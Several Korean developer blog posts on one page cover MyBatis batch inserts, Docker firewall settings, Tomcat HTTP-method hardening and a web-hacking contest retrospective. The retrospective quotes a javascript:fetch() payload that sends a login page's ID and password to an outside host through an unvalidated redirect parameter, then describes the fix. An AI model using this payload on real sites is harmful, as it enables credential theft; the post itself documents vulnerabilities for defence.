반응형

일정 시간마다 데이터를 받아와서 코드 테이블을 동기화 시켜야하는 프로세스가 있었다.

1분마다 돌아가도록 cron설정이 되어 있었고, 쿼츠가 동작하면 rest api형태로 데이터를 전달해주고 수신서버는 해당 데이터를 기반으로 delet -> insert 해주는 간단한 프로세스였다.

 

문제는 수신서버의 로직이였는데, insert할 데이터가 복잡하지 않았지만 2천개 가량의 데이터를 집어넣는데 30초가 넘게 소요되었다.

결국 1분마다 처리를 하다보니 코드는 약 20초간만 최신데이터를 쓸 수 있고, 나머지 시간은 제대로 채워지지 않은 데이터를 보게 되는 현상이였다.

 

추가적으로 rest api로 구성된 로직에서 request후 response가 안오면 뭔가 처리가 있어야하지만 에러상황이 발생하게 되었고, request를 요청한곳에서는 무기한으로 기다리는 현상으로 보였다.

rest api의 타임아웃 처리와 스케줄러 동작시간을 1분에서 5분정도로 변경하고 insert로직을 개선해야했다.

 

HttpPost timeout 설정

HttpPost post = new HttpPost(url);
RequestConfig requestConfig = RequestConfig.custom()
  .setSocketTimeout(10*1000)
  .setConnectTimeout(10*1000)
  .setConnectionRequestTimeout(60*1000)
  .build();

post.setConfig(requestConfig);

RequestConfig 설정을 추가해주었다.

 

 

 

단일 INSERT 문제가 되었던 기존 로직

xxx.java

newList.forEach(data -> {
	try {
		mapper.insertOrgCode(data);
	} catch (Exception e) {
		e.printStackTrace();
	}
});

 

xxx.mapper

<insert id="insertOrgCode" parameterType="hashmap">
    INSERT INTO TB_TC998_CODE (
        GROUP_CD, CD, PARNTS_CD, CD_NM, DEPTH, REG_DATE
    ) VALUES (
         #{GROUP_CD},
         #{CD},
         #{PARNTS_CD},
         #{CD_NM},
         #{DEPTH},
         GETDATE()  
    )
</insert>

아래와같이 sublist를 통하여 잘라서 foreach를 통해 다량 등록을 하도록 변경하였다.

 

개선안

xxx.java

while(newList.size() > 0) {
	try {
		int toIndex = 200;
		if(toIndex > newList.size()) {
			toIndex = newList.size();
		}
		
		//insert시작
		param.put("list", newList.subList(0, toIndex));
		int result = mapper.insertOrgCode(param);
		
		
		if(result == toIndex) {
			//insert끝나면 list 삭제
			for(int j=0; j<toIndex; j++) {
				newList.remove(0);
			}
		}
	} catch (Exception e) {
		e.printStackTrace();
	}
}

MAX값이 너무 커도 오류가 발생해서 200개로 제한을 두었다.

 

xxx.mapper

<insert id="insertOrgCode" parameterType="hashmap">
	INSERT INTO TB_TC998_CODE (
		GROUP_CD, CD, PARNTS_CD, CD_NM, DEPTH, REG_DATE
	) VALUES
	<foreach collection="list" item="item" separator=" , " >
        (
            #{item.GROUP_CD},
            #{item.CD},
            #{item.PARNTS_CD},
            #{item.CD_NM},
            #{item.DEPTH},
            GETDATE()  
        )
	</foreach>
</insert>

처리 후 동작시간을 비교해보았는데, 로컬에서도 심각하게 차이가 발생했다.

아래는 start, end 시간을 측정해본 콘솔 창이다.

43초대 2초... 심각하게 차이가 발생한다.

 

다량의 insert를 해야하는 경우가 있으면 mybatis foreach 구문을 사용하도록 하자!

반응형
반응형

올해 진행한 프로젝트 대상이 웹 해킹대회 사이트로 선정되어 대회에 강제(?) 참여하게 되었다. 😂

 

기존 프로젝트들을 하면서 문제가 되었던 취약점이나 문제되가 되는 개발 방식등을 최대한 보완하면서 개발을 했지만 사내분들에게 마구잡이식 테스트를 요청하니 생각보다 많은 오류가 발생하고 있었다.

 

한국인터넷진흥원 페이지에 접속하면 웹 취약점 메뉴얼이 존재하는데, 해당 메뉴얼을 보면서 위험한 부분을 테스트해보고 실제로 문제가 발생하는부분들은 최대한 막았다.

 

최대한 막는다고 막았지만 역시 복잡한 UI폼과 대회 전날까지의 디자인 수정 & 기능 수정 등으로 인해 몇가지 실수들이 있었고, 그건 바로 대회 참여자들이나... 화이트해커로 활동하는분들의 좋은 먹이감이 되었다.

 

아래는 최대한 막고도 털린 방법들이다.

 

1. 비밀번호 찾기 후 비밀번호 변경시 해당 계정으로 로그인된 세션이 존재하면 만료 처리해주기

-> 세션이 만료가 되어야 하는 이유로는 해커가 계정을 해킹해서 사용중일때, 만료시킴으로써 계정 보호를 할 수 있다.

 

2. 저장 가능한 입력 필드 XSS공격

-> 공격하는 방식들이 생각보다 많았는데, 대회 직전에 Naver사의 Lucy 필터를 급하게 적용하였지만, 사용법을 정확하게 숙지하지 못해 특정 페이지에 적용이 되지않아 해당 페이지에서 각종 다양한 XSS공격으로 접수되었다.

 

3. GET 방식으로 처리하는 리다이렉트 로그인 URL에서 파라미터를 탈취 후 스크립트 공격을 통해 다른 url등으로 넘기기 또는 강제 스크립트를 심어서 로그인 페이지의 id, pw탈취하기 등(개인정보 위험 심각)

-> 간단하게 로그인페이지에 접근 할때, 어떤 페이지를 통해 접근했는지 알기 위해 REDIRECT_URL이라는 파라미터에 어디로 바로 이동할지 page.do 형태로 심어뒀는데, 그 부분을 강제 변형하여 접근한 고객은 개인정보를 탈취 당할 수 있다는 문제였다. 생각보다 심각했는데, 알수없는 사람으로부터 전달받은 URL을 타고 접근시 얼마나 위험한지 알 수 있었고, 페이지에서도 정확하게 유효성 검증을 해줘야한다는걸 알게 해준 취약점이였다.

방식은 아래와 같다.

  • https://127.0.0.1/login.do?REDIRECT_URL=main.do 와 같은 url이 존재할때 REDIRECT_URL이 취약한 현상
  • javascript:fetch("https://hackingTest.net/userId="+document.getElementById(%27userId%27).value+"&userPw="+document.getElementById(%27userPw%27).value)  구문등을 통해 특정 사이트로 id, pw값을 바로 전달함
  • 해당 사이트에서 로그인시 사용자의 id, pw값이 넘어오는것이 확인됨.
  • 조치를 위해 REDIRECT_URL에 XSS공격 의심 데이터는 전부 빈값으로 처리, 사용가능한 특정 페이지 경로들이 아니면 전부 reject처리

4. 공지사항이나 자주하는질문등 한개의 테이블에서 데이터를 노출시키거나 보여주기, 안보여주기 기능이 있는 게시판의 경우

-> 공지사항 상세보기를 위해 PK값을 get방식으로 넘기고 해당 데이터를 노출시키는 형태의 페이지가 존재하는데 PK값을 무작위로 돌리다보면 공지사항과 상관없는 자주하는질문등이 나오거나 보여주면 안되는 데이터까지 노출되는 현상

조치를 위해 type값 등으로 공지사항에선 공지사항만, 자주하는질문에서는 자주하는질문만 상세값을 볼 수 있도록 수정

+ 보여주기 컬럼이 승인된 데이터만 보이도록 수정

 

5. 로그인 오류메시지를 통한 계정 정보 유추

-> 이건 조금 애매했는데, 로그인 실패시 오류 코드가 비밀번호가 틀린경우와 ID가 없는경우가 달랐는데, 오류 메시지만 "아이디 또는 비밀번호가 다릅니다." 로 노출했는데, 코드를 통해 비밀번호 유추 횟수를 줄일수 있다와 같은 취약점이였다. 5회 틀릴 시 계정잠금 + 강력한 조합 비밀번호 사용을 하는 사이트에서 해당 취약점인지 애매했다. 물론 코드는 통일화시켜 더더욱 정보 노출을 줄였다.

 

크게 정리를 해보니 이정도 이슈가 발생했던 것 같다.

 

2, 4번 항목의 경우 좀 더 테스트를 해봤으면 놓치지 않았을 항목인데 매우 아쉬웠고, 이번 대회를 통해 웹 사이트 보안에 좀 더 신경쓰게 되는 계기가 되었습니다.

다양한 케이스를 경험하고 메뉴얼등을 적용해보면서 취약점과 관련하여 많은 공부가 되었다.

반응형
반응형

도커를 통해 서비스를 구성해서 테스트를 하는 도중 테스트서버가 털려버렸다.

0.015 BTC를 내놓으면 어쩌구 저쩌구.. 다행이 다른건 털린건 없지만... (털릴 정보도 없는 빈 서버였다.)

 

기존에 설정해둔 방화벽 서비스 ufw가 일단 내려가 있었고, 도커로 엘라스틱 몽고 서비스를 구동해보니 서버에 항상 해당 포트들을 외부에서 접근 할 수 있도록 허용해주고 있었다.

 

찾아보니 도커가 기본적으로 서비스를 구동하면 기존에 UFW가 동작하고 있어도 기본 옵션이 열어주도록 되어 있었다.

 

Docker 방화벽 옵션 끄기

로컬 서비스에서만 도커에서 올린 서비스를 사용하고 싶은 경우가 있다.

이런 경우 옵션을 주면 방화벽에 영향을 주지않고 서비스만 올라오는데 일반적으로 설정하는 방식은 아래와 같다.

 

/etc/docker/damon.json

{
	"iptables": false
}

 

이후 서비스 재기동을 한다.

systemctl restart docker

 

 

하지만, 내가 설치한 서버의 /etc/docker/쪽에는 해당하는 파일도 없었을 뿐더러 파일을 생성하고 재기동하여도 여전히 외부에서 접근이 가능하였다.

다른 글들을 더 찾아보니 도커가 실행되는 서비스 옵션을 변경하라는 글을 찾아서 아래와 같이 적용 후 재기동하니 정상적으로 외부에서 접근이 안되는 모습을 확인하였다.

 

/etc/systemd/system/multi-user.target.wants/dcoker.service

ExceStart 옵션 제일 마지막에 --iptables=false를 추가한 후 저장합니다.

 

재기동 하기전 아래 명령어를 입력합니다.

systemctl daemon-reload

이후 재기동을 해서 해당 포트가 외부에서 접근이 안되는지 확인합니다.

 

 

반응형
  1. 지나가다가... 2021.12.14 17:44

    --iptables=false 이것을 하게 되면 외부에서 못 들어 오게 하는건 막는데 성공합니다.
    문제는 도커안에서 밖으로 못 나가서 도커내에서 인터넷이 안 됩니다.
    sudo apt. sudo yum. 등 새로운 package 설치 불가합니다.
    결국 저 옵션은 맨 마지막에 해야 할 듯 합니다.
    다른 방법이 있다고는 하는데 아직 내공이 부족하여 못 찾았습니다.

    • Favicon of https://myhappyman.tistory.com Park.S.W 2021.12.14 17:59 신고

      흑 저도 도커는 수박 겉핥기식으로 배워서 써봤던지라.... 문의하신 방법에 대해서 도와드릴수가 없네요...😭

  2. 지나가다가2 2022.02.12 23:07

    서버를 공유기 밑에 안두시고 인터넷에 직결하신건가요?

    • Favicon of https://myhappyman.tistory.com Park.S.W 2022.02.14 09:51 신고

      서버 구성도는 하기 나름인지라 보안이 문제가 되는곳은 실서버는 내부망에 배치하고 말씀하신거처럼 특정 프록시 서버등을 통해 public처리 등을 하고 있는데, 외부망이 안되시는 상황이라면 binary 파일등을 직접 설치하는 방식등을 찾아보셔야 할 것같네요

반응형

년초가 되니 운영중인 사이트들에 대해 취약점 점검 문서를 받았다.

 

그렇게 크리티컬한 이슈는 없었고 처음보는 형태의 취약점이였는데, 찾아보니 예전부터 존재하던 취약점이였다.

웹에서는 보통  GET, POST만을 사용하는데 불필요한 메소드인 PUT, DELETE, COPY, MOVE 등이 허용되어 있어 외부에서 공격자가 해당 메소드를 사용하여 웹 서버의 파일을 생성하거나 변조, 삭제하는 등 문제를 야기시킬수 있다는 내용이였다.

 

TRACK메소드외 불필요한 메소드 제거하기

톰캣, 스프링 환경의 프로젝트였고, 관련 처리 방법을 찾아보니, 먼저 web.xml에 아래의 설정을 하라고 되어있었다.

 

web.xml

<security-constraint>
	<web-resource-collection>
		<web-resource-name>Protected Context</web-resource-name>
		<url-pattern>/*</url-pattern>
		<http-method>PUT</http-method>
		<http-method>DELETE</http-method>
		<http-method>HEAD</http-method>
		<http-method>TRACE</http-method>
		<http-method>OPTIONS</http-method>
	</web-resource-collection>
	<auth-constraint/>
</security-constraint>

해당 메소드들을 허용하지 않겠다는 옵션 설정으로 최하단에 해당 코드를 입력하고 재구동하였지만, 여전히 ALLOW에 비허용되어야 할 리스트들이 보였다.

 

적용되었는지 확인은 curl명령어를 통해 확인하였다.

cmd창을 열어서 아래와 같이 명령어를 실행한다.  TRACE메소드를 사용하며 제일 마지막에 전송할 url을 입력하면 된다.

??? 기존과 아무런 차이가 없다.

 

그러다 tomcat설정 파일 중 server.xml에 allowTrace를 true옵션을 처리하라는 글을 확인하고 설정 후 재기동하였다.

 

/conf/server.xml

<Service name="Catalina">

    <!--The connectors can use a shared executor, you can define one or more named thread pools-->
    <!--
    <Executor name="tomcatThreadPool" namePrefix="catalina-exec-"
        maxThreads="150" minSpareThreads="4"/>
    -->


    <!-- A "Connector" represents an endpoint by which requests are received
         and responses are returned. Documentation at :
         Java HTTP Connector: /docs/config/http.html
         Java AJP  Connector: /docs/config/ajp.html
         APR (HTTP/AJP) Connector: /docs/apr.html
         Define a non-SSL/TLS HTTP/1.1 Connector on port 8080
    -->
    <Connector connectionTimeout="20000" maxParameterCount="-1" maxPostSize="-1" port="80" protocol="HTTP/1.1" redirectPort="8443"
    	allowTrace="true" />
        
    <!-- 이하생략 -->

allowTrace옵션을 주고 curl을 통해 재확인을 해보니 정상적으로 allow의 옵션이 사라진걸 볼 수 있었다.

이후는 관련 에러 페이지 body가 읽혔다.

 

반응형
반응형

서버 고도화 작업으로 열심히 새로운 신규서버에 환경 구성을 끝내고, 구동하여 버그들이 존재하는지 테스트를 한참 하고 있었는데, IE, Chrome 동작이 되어야 하기에 IE를 테스트 하고 있었다.

 

간헐적으로 js에러가 발생하고 jQuery에러 이미지가 깨지는등 이상한 느낌이 들어서 네트워크 탭을 열어두고 새로고침을 하다보니 연결된 css, js, image류 파일들이 모두 400 에러코드와 함께 동작하지 않는 증상을 보였다.

 

메타태그에 no cache 옵션부터 jsp no cache 등등 여러가지 처리를 하다가 js, css 파일 끝에 ?v=1.1 형태로 접근하니 최초 한번쯤은 정상적으로 접근이 가능하고 캐시 삭제 후 접근하거나 Ctrl + F5(강력 새로고침) 시에는 정상적으로 페이지가 보였다.

 

아무래도 캐시적으로 문제가 발생하고 있다고 판단되었고, 톰캣 문제라는 글이 발견되어 8.5에서 8.0으로 낮추고 구동하니 거짓말처럼 정상동작이 되었다...

 

에러가 발생한 환경은 아래와 같다.

CentOS 8

Tomcat 8.5

OpenJDK1.8

Mysql 5.7

 

원인은 여전히 파악은 안되었고 혹시 ssl적용을 하면 정상동작을 하였을까 싶지만 실서버라 더 이상 테스트는 불가하였고 톰캣 버전을 변경하여 해결하였다.(망할 IE좀 없어졌으면 좋겠다...)

 

 

톰캣 8.0은 아카이브 저장소에서 받을 수 있는데 과거에 다운로드 받는법을 적어논 게시물을 링크해둔다.

myhappyman.tistory.com/41

 

Tomcat - 톰캣8.0(구버전) 다운로드 Archive 저장소 활용하기

톰캣 공식홈페이지에서 다운로드를 하려고하면 현재 기준으로 7, 8.5, 9버전순으로 다운로드를 할 수 있는데 다른버전을 원할 경우 아카이브를 통해 다운로드가 가능하다. http://archive.apache.org/dist

myhappyman.tistory.com

 

반응형
반응형

CentOS 8이 설치되어 있는 새로운 서버를 받아서 환경 구성을 해야 하는 상황이였습니다.

 

기존 서버는 오래동안 서비스가 된 오래된 서버였고, mysql 버전도 5.5.40, 톰캣도 7, 자바 7을 쓰는등 올드한 버전들을 사용중인 서버였습니다.

 

너무 최신버전으로 갑작스레 올리면 여러가지 문제점을 발생할 것이라 생각하여, 최대한 비슷한 버전들로 설치하고 싶었지만 (톰캣과 자바는 높은버전으로 가기로 했습니다. 추후 자바8 문법 적용을 위해) CentOS 8에서 기본적으로 설치되는 DB가 mariaDB이기도 하며, mysql default 버전도 mysql 8.0 이였습니다.

 

특정 버전 설치 방법인 yum 설정 방법으로 다운로드하면 계속해서 8로 다운로드가 진행되고,

5.5 tar를 받아서 진행하면 종속성에러 발생...

바이너리 설치 방법을 따라서 진행하다보니 gcc에러 등

해볼 수 있는 방법을 모두 시도했지만 설치에 실패하였습니다.

 

결국 mysql 8 로 설치해보고 모두 구성하여 was를 동작해보니 5분도 안되서 여러가지 문제가 발생했습니다.

 

엄격한 문법이라는 모드(sql_mode)가 생겼는데, 잘 못된 문법등이 있으면 에러가 발생합니다.

이미 기존 레거시부터 전해오는 소스라 이제와서 갑자기 모두 변경하기엔 이슈가 있었고, 불가피하게 설정에서 엄격 모드를 off(sql-mode = "NO_ENGINE_SUBSTITUTION")시키고, 또 다른 쿼리들을 테스트해봤는데, 기존 5.5.40에서 0.03초면 동작하던 쿼리가 3분이 넘도록 결과가 나오지 않았습니다.

 

where 절에 존재하는 exists 메소드에 따른 속도 저하 이슈였는데, 인덱스 세팅 및 여러가지 옵션을 변경해봐도 결과는 똑같고 explain 실행 계획을 봐도 type이 ALL로 변경되어 index를 안타고 풀스캔이 되는 등 문제가 발생했습니다.

 

시간적 여유가 있으면 쿼리 튜닝이나 다른방법을 찾아보겠지만, 이럴 시간이 없었고 지원이 가능한 제일 낮으 버전 5버전대 중 5.7로 눈을 돌리고 설치 후 정상동작을 확인했습니다.

 

아래는 CentOS 8 에서 mysql 5.7 버전 설치 방법입니다.

myhappyman.tistory.com/206

 

CentOS 8 - mysql 특정 버전(5.7) 설치하기

CentOS 8에서 mysql 5.5.40 버전을 설치 하고 싶었지만 정상적으로 설치가 되지 않아 5.7로 설치 후 정상 동작하는 모습을 확인했습니다. Mysql 특정 버전 설치하기(5.7.28) 먼저 진행하시는 계정에 sudo 권

myhappyman.tistory.com

 

반응형
반응형

소스코드 설명이나 사용 예시를 보여주기 위해 포스팅을 하다보면 종종 소스를 올리는 경우가 있습니다. 과거의 티스토리에 비하면 코드 블럭도 제공하고 좋아졌지만, 웹 기능을 보여주기 위해 HTML, CSS, Javascript(jQuery) 등을 동시에 포스팅 하는 경우에는 소스만 3개의 코드블럭이 들어가서 가독성도 안좋고 스크롤 압박(?)도 생기게 됩니다.

 

또한, 사용예시를 바로 보여주고 싶은 경우에도 html모드를 들어가서 작성한 소스들을 조합하여 보여줄 수도 있지만 여간 복잡한게 아니고 꼬일염려도 존재하여 개인적으로 꺼려지는 작업인데, 이런 경우 CodePen을 사용하면 작은 영역안에서 탭을 통해 HTML, CSS, Javascript를 처리하고 사용 결과도 볼 수 있습니다.

 

블로그에 CodePen적용하기

1. 먼저 CodePen사이트를 접속하여 회원가입을 하고 로그인을 합니다.

codepen.io/

 

CodePen

An online code editor, learning environment, and community for front-end web development using HTML, CSS and JavaScript code snippets, projects, and web applications.

codepen.io

저는 Github계정이 존재해서 연결하여 사용중입니다.

 

 

2. 로그인 후 작성을 위해 Pen 메뉴를 클릭합니다.

 

 

3. 코드를 작성합니다.

 

 

4. 코드 작성이 끝나면 해당 소스의 제목을 입력하고 Save버튼으로 저장을 해줍니다. (중요!)

 

 

5. 저장 후 아래 하단에 embed 버튼을 클릭합니다.

 

 

6. 원하는 테마를 선택 후 아래 소스를 복사합니다.

저는 다크테마값으로 했습니다.

 

 

7. 소스를 복사하셨으면, 블로그로 돌아와서 상단메뉴에서 기본모드->HTML로 변경합니다.

 

 

8. HTML모드가 되면 아래처럼 검은창에서 HTML태그들이 보일텐데 원하는 위치에 복사한 소스를 넣습니다.

소스에 보시면 data-height 속성이 보이는데 해당 값이 포스팅글에서 보일 높이 값입니다. 옆에 존재하는 inner Style태그의 높이를 바꿔도 변경되지 않으니 꼭 높이 값을 바꾸고 싶다면 해당 값을 수정해주세요. (저는 530으로 사용 중입니다.)

 

 

9. 복사한 태그 삽입이 끝나면 완료를 합니다. 입력 할 내용이 남았다면 기본모드로 돌아오셔서 추가적으로 입력 후 완료를 합니다.

 

 

아래는 CodePen 예제 샘플입니다.

See the Pen test by myhappyman (@myhappyman) on CodePen.

 

반응형
반응형

입사하고 인수인계를 받으면서 이건~ 원본소스도 없구요 예전에 개발된건데 가끔 ftp 연결 key만 바꿔주면 되는거에요~ 라고 "???" 물음표 3개가 생기는 프로젝트를 얼렁뚱단 받아버린게 하나 있었는데, 이번회사에서 약 1년정도 있다보니 역시나 장애가 터졌다...

 

가장 큰 문제점은 역시... "스케줄러 프로그램인데 원본소스가 없어요~" 이부분 일 것이다,

 

일단 무작정 서버에 붙어서 확인을 해보기 시작했다. 다행히 인수인계 문서에 해당 서버 접속정보는 있었다.

(인수인계 제대로 안받은 내잘못이지 ㅠㅠ)

 

윈도우 서버고 서비스중인 프로세스를 확인해보니 톰캣이 떡하니 있다.

 

오 톰캣으로 뭔가 하는구나! 설치된 톰캣 위치로 가서 webapps에 가보니 war파일이 5년전에 배포 된게 있고, 실행중으로 판단되는 디렉토리 하나가 있다.

 

압축파일로 가져와서 개발PC 디컴파일러(jd-gui-windows-1.4.0)를 하나 설치하고 압축상태로 열어본다.

 

구조를 보니 스프링 구조.. view페이지도 있고;; 단순 스케줄러로 파일 내려주는 것만 있다고 들었는데 심각하다. 분명히 웹의 기능은 없다고 들었는데... 컨트롤러에 필요없는 vo 서비스 dao 등등 그냥 어디서 구조하나 가져와서 스케줄링을 위해 quartz만 설정해서 쓰고 있는것으로 판단되었다.

 

그래 뭐 다 좋다...

 

스케줄링이 도는 동작시간을 확인하고 log를 확인하기 위해 log4j가 설정된 부분을 찾아봤다...

우왁... 파일 하나당 10기가 16기가 8기가 엄청나다;

당연히 열리지도 않는다.

 

gvim, gsplit  등 에디터와 파일쪼개는 프로세스를 활용해서 로그를 분석해본다...

 

로그가 미친듯이 쌓인 이유를 찾았다. mybatis 설정부분인 Connection, Statement, PreparedStatement, ResultSet 모든 레벨이 다 debug로 되어있다. 실서버 등록하면서 개발자가 까먹은건지... 몰랐던건지 그냥 다 때려박도록 되어있다.

 

세월아 네월아 천천히 로그들을 분석해보니 특정 쿼리가 도는데 where절이 없이 데이터가 9만개 가량 들어있는 테이블을 조회하고 있다.

테이블 자체에 데이터도 많지만 컬럼양도 약 70개가 넘어가고 중간에 Text형도 있기에 모든 결과행을 출력하면 데이터가 어마어마하다.

한 27만줄씩 찍어대는거 같다..

 

그런데 그런짓을 한번 돌때마다 9~10번씩 하니 로그만 30분이 넘게 찍다가 OutOfMemory가 뜨고 서버 hdd에도 용량이 심심하면 꽉차고 난리가 난 것 같다...

 

일단 찾은 부분까지 상황을 팀장님께 보고를 드리고 대기하고 있었다.

 

그리고 답변이 왔다 "우리가 조치할 수 방법이 뭐가 있나요..?"

 

원본 소스가 없는데 뭘 어떻게 조치하란 말인가... 프로세스도 미친듯한 절차식들로 인해 분석도 힘들고 심지어 디컴파일러를 통해 보다보니 제대로 안된부분도 많았다.

 

반나절 정도 고민해보고 소스와 로그를 분석해 본 결과

1. log4j.xml의 저 쓸데없는 로그 레벨을 낮추자

   -> IO를 엄청나게 쓰면서 부하 및 용량 이슈를 해결 할 수 있다.

   -> 다만 원본소스가 없어서 뭐가 어떻게 동작하는지 모르니 ResultSet만 error로 바꾸자

 

2. where절이 없이 돌아가는 mapper부분을 분석해보자

   -> 다행이 해당 쿼리를 타는 부분을 역추적하여 찾아보니 mapper에서 사용하는 key값이 processId라면 Map에 담아주는 key값이 processid인 것을 확인하였다. 당연히 자바 소스 수정은 불가능하여 choose when으로 mapper부분의 xml을 바꾸기로 하였다. 그럼 8만개를 검색하여 40초걸리던 부분이 약 1초로 줄어들것으로 판단 되었다.

 

3. tomcat jvm을 강제로 50퍼정도까지 사용하도록 설정하기

 

이정도였고 실서버에 해당 3가지 내용을 적용하고 엄청난 부하가 오던 이슈가 해결이 되었다.

 

ps. 사실 중간에 스킵된 내용이 많은데 log분석이 정말 너무 힘들었다... 장애가 터졌던 날의 로그파일이 12GB였는데 500MB씩 쪼개어 23개 가량의 로그파일들을 하나하나 읽어보면서 찾기기능을 쓴다고 해도 어떤 키워드로 어떤 장애가 터졌을지 감도 안왔고, 너무 힘들어 선임님의 도움으로 java로 디렉토리의 모든 파일들을 쭈르륵 읽어들여 특정 키워드가 발생한 문장만 따로 가져오도록 프로세스도 짜고 아주 신박한 경험을 해보았다.

반응형
  1. 대딩이 2021.07.12 18:15

    와 듣기만 해도 노답이네요 ㅠ
    고생 많으셨네요

    • Favicon of https://myhappyman.tistory.com Park.S.W 2021.07.13 08:54 신고

      예전에 너무 힘들었던 하루를 하소연한 글인데 ㅎㅎㅎ 위로 감사드립니다! 😂